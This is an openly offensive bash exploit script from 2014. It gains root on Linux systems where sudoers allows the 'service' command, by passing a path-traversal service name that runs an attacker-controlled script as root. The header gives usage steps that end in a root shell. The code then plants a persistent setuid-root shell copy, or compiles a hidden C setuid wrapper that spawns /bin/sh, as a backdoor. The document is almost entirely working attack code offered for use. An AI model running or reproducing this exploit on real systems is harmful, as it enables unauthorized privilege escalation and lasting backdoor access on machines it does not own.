#!/usr/bin/env bash
###################

##################################################
# sususudio.sh by xt [april 2014]
# sudoers-allowing-"service"-program exploit; tested on Ubuntu/Debian, RHEL/CentOS. Probably works on others.
# Leverage /sbin/service (RHEL/CentOS), /usr/sbin/service (Debian/Ubuntu), [and others?] to get root when allowed to run under sudoers!
##############
#
# Personal note: this is way too much work for something so simple, and I despise script kiddies. So why'd I make this so easy? I was bored, there,
#                that's my justification!
#
# This script is for when you get a NOC monkey/limited staff account that is allowed to use sudo with 'service' but not much else helpful...
# For instance, sudoers might look like:
#
# ... sudoers file scheisse ...
#   %staff ALL=NOPASSWD: /sbin/service *
#   %staff ALL=NOPASSWD: /usr/bin/du
#       .. ls, tail, df, top, more, lsof, tcpdump (although if compiled/configured right it could get you root), etc etc ..
# <snip snip>
#
# There's not a lot you can do. Everyone knows they can leverage vi, less, etc.
# Did you know know you could leverage 'service' into a root shell? I didn't know until I was desperate on a hostile network one day and needed
# to root them, fast. (Of course this was strictly white-hat AJAX web 2.0 cross-site Heartbleed pen-test CEH certified Wireshark permitted hacking).
#
# The "bug" (or feature?): 'service' doesn't sanitize the user-supplied service name, allowing you to provide a service script out of /etc/init[.d] etc.
# Basically the 'service' program checks for the existance of the service file in /etc/init.d/<service name>. It doesn't prevent anyone from escaping
# to the higher level via ../ and the check is simple (bash script test -x) so it is easily bypassed with a service name containing ../.
# This will expand out, on my Debian system's case, for example to /etc/init.d/../../tmp/sususudio.sh which is, of course, /tmp/sususudio.sh.
#
# TL;dr:
# You can run any script you want as root as long as sudoers permits your user/group to run service. This program (sususudio) makes it e-z pee-zee
# and is script-kiddie friendly!
##############
#
# USAGE:
# ------
#  First, check that you have the privilege (sudo -l might not always work properly):
#   $ sudo -l | grep service
#   (root) NOPASSWD: /usr/sbin/service *
#   ### Alright, now we know we can exploit it.
#   
#   $ mv sususudio.sh /tmp/service && chmod +x /tmp/service
#   $ sudo service ../../../../../../../tmp/service start
#   # whoami
#   root
#   ### Cha-ching!
#
# CONFIGURATION:
# --------------
# 
# By default, we use the default shell method with no copy/setuid. You really should read the options below and configure it so that
# the sudo program doesn't have to be run (and thus, verbose and loud and possibly remotely logged) more than once.
#
# SETUIDPROG: If anything but blank a setuid/gid/setreuid/gid shell wrapper will be compiled and setuid bit set in path SUIDPATH. (Requires gcc or clang)
#
# REWTSHELL: If using the default shell method, this is the location of the shell to run (and copy, if SUIDPATH is set).
#
# SUIDPATH: if not empty, then path to where SETUIDPROG method or default shell method should create its persistent setuid backdoor binary. This
#           should reside on a filesystem that is not noexec or nosuid (check mount or fstab).
#
# CHECK_FOR_SUIDPATH: checks to see if SUIDPATH binary already exists and if so offers to run it instead of running the exploit again. I really
#           don't know why I included this at all.
#
# It is recommend to set SUIDPATH so that you must not call "sudo service" every time.
#
# NOTES:
# ------
# bash, csh and tcsh do NOT work as compatible shells so do not use them as REWTSHELL. Compatible (as I know of) shells are:
#   ash, dash, tclsh, zsh, fish, ksh
# The script automatically checks for these.
#
# If the error "unrecognized service" pops up, make sure you have chmod +x'd the script and that the filesystem the script resides on is not noexec.
#
#################################
# authored by xt in april 2014
#################################

# Enable this to create our own set[ug]id/setre[ug]id wrapper instead of depending on a shell on the machine. Requires gcc or clang. Set blank
# to disable it or to 1 to enable it.
SETUIDPROG=

# Location to create our setuid wrapper or shell. Path should be somewhere that is noexec and not nosuid (check mount)
# If left blank, then the default shell method will be used and the shell copy / setuid will not be made.
SUIDPATH=

# If not using SETUIDPROG (default shell mode), then set to full path to the shell you want to use; must NOT be gcc, tcsh or csh.
# If blank (default) the script will find one for you.
REWTSHELL=

# Check if SUIDPATH already exists and offer to run it if set.
CHECK_FOR_SUIDPATH=

#######################################################################

# See if our file already exists, and is setuid
if [[ -n $CHECK_FOR_SUIDPATH ]]; then
	if [[ -n $SUIDPATH ]]; then
		if [[ -u $SUIDPATH ]]; then
			echo "Root shell $SUIDPATH already exists; run? Please verify file information below."
			ls -l $SUIDPATH
			file $SUIDPATH
			echo
			read -p "Would you like to run $SUIDPATH ? (Y)/n " -n 1 yayornay
			case "$yayornay" in
				y|Y ) echo; $SUIDPATH; exit;;
				* ) echo "Okay, running exploit as usual.";;
			esac
		fi
	fi
fi

# Sanity checks
if [ `whoami` != "root" ]; then
	echo "This program is meant to run as root under sudo. It cannot hack this Gibson if ran as your current user, `whoami`."
	exit
fi

if [[ -n $SETUIDPROG ]]; then
	if [[ -z $SUIDPATH ]]; then
		echo "If SETUIDPROG is set, then SUIDPATH must also be set."
		exit
	fi
fi

# See if we can find a compiler for use with our setuid wrapper.
if [[ -n "$SETUIDPROG" ]]; then
	if which gcc >/dev/null; then
		COMPILER=`which gcc`
	elif which clang >/dev/null ; then
		COMPILER=`which clang`
	else
		echo -n "No valid compiler found; defaulting to shell method "
		if [[ -z "$SUIDPATH" ]]; then
			echo "(persistent file will NOT be created)."
		else
			echo "(persistent file $SUIDPATH will be created)."
		fi

		SETUIDPROG=""
	fi
fi

if [[ -z "$SETUIDPROG" ]]; then

# Find a suitable/compatible shell
if [[ -z "$REWTSHELL" ]]; then

if which zsh >/dev/null; then
	REWTSHELL=`which zsh`
elif which dash >/dev/null; then
	REWTSHELL=`which dash`
elif which ash >/dev/null; then
    REWTSHELL=`which ash`
elif which ksh >/dev/null; then
	REWTSHELL=`which ksh`
elif which tclsh >/dev/null; then
	REWTSHELL=`which tclsh`
elif which fish >/dev/null; then
	REWTSHELL=`which fish`
else
	echo "Cannot find a valid shell that works with setuid flag."
	echo "Try specifying one in REWTSHELL or enable SETUIDPROG."
	exit
fi # if which ..

fi  # REWTSHELL

if [[ -n "$SUIDPATH" ]]; then
	cp -f $REWTSHELL $SUIDPATH
	chown 0 $SUIDPATH
	chgrp 0 $SUIDPATH
	chmod u+s $SUIDPATH
	echo "You (should be able to/can) get root access again by running $SUIDPATH"
	echo "At the prompt, type 'id' and check for (e)uid / (e)gid to be 0."
	$SUIDPATH
else
	echo "Launching compatible shell $REWTSHELL"
	echo "At the prompt, Type 'id' and check for (e)uid / (e)gid to be 0."
	$REWTSHELL
fi

else

TEMPDIRNAME=`dirname $SUIDPATH`
cat > $TEMPDIRNAME/.americanpsycho.c <<__EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(void){setuid(0);setgid(0);setreuid(0,0);setregid(0,0);system("/bin/sh");exit(0);}
__EOF
$COMPILER -o $SUIDPATH $TEMPDIRNAME/.americanpsycho.c
if [[ ! -x $SUIDPATH ]]; then
	echo "Unable to compile to executable binary $SUIDPATH - try with SETUIDPROG disabled."
	rm -rf $TEMPDIRNAME/.americanpsycho.c
	exit
fi
rm -f $TEMPDIRNAME/.americanpsycho.c
chown 0 $SUIDPATH
chgrp 0 $SUIDPATH
chmod u+s $SUIDPATH
if [[ ! -u $SUIDPATH ]]; then
	echo "For some reason (nosuid?), unable to set setuid bit on $SUIDPATH - try with SETUIDPROG disabled."
	exit
fi
echo "You (should be able to/can) get root access again by running $SUIDPATH"
echo "At the prompt, type 'id' and check for (e)uid / (e)gid to be 0."
$SUIDPATH

fi # SETUIDPROG